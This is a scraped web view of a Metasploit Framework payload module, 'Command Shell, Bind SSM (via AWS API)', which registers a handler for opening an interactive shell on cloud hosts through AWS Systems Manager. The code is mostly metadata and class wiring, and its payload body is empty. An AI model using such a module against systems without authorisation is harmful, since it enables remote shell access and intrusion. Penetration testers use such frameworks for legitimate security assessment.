CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/generic/shell_bind_aws_ssm.rb
Views: 11766
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 0
8
9
include Msf::Payload::Single
10
include Msf::Sessions::CommandShellOptions
11
12
def initialize(info = {})
13
super(
14
merge_info(
15
info,
16
'Name' => 'Command Shell, Bind SSM (via AWS API)',
17
'Description' => 'Creates an interactive shell using AWS SSM',
18
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
19
'References' => [['URL', 'https://www.sempervictus.com/single-post/once-upon-a-cloudy-air-i-crossed-a-gap-which-wasn-t-there']],
20
'License' => MSF_LICENSE,
21
'Platform' => '',
22
'Arch' => ARCH_ALL,
23
'Handler' => Msf::Handler::BindAwsSsm,
24
'Session' => Msf::Sessions::AwsSsmCommandShellBind,
25
'Payload' => {
26
'Offsets' => {},
27
'Payload' => ''
28
}
29
)
30
)
31
end
32
33
def on_session(session)
34
super
35
36
session.arch.clear # undo the ARCH_ALL amalgamation
37
end
38
end
39
40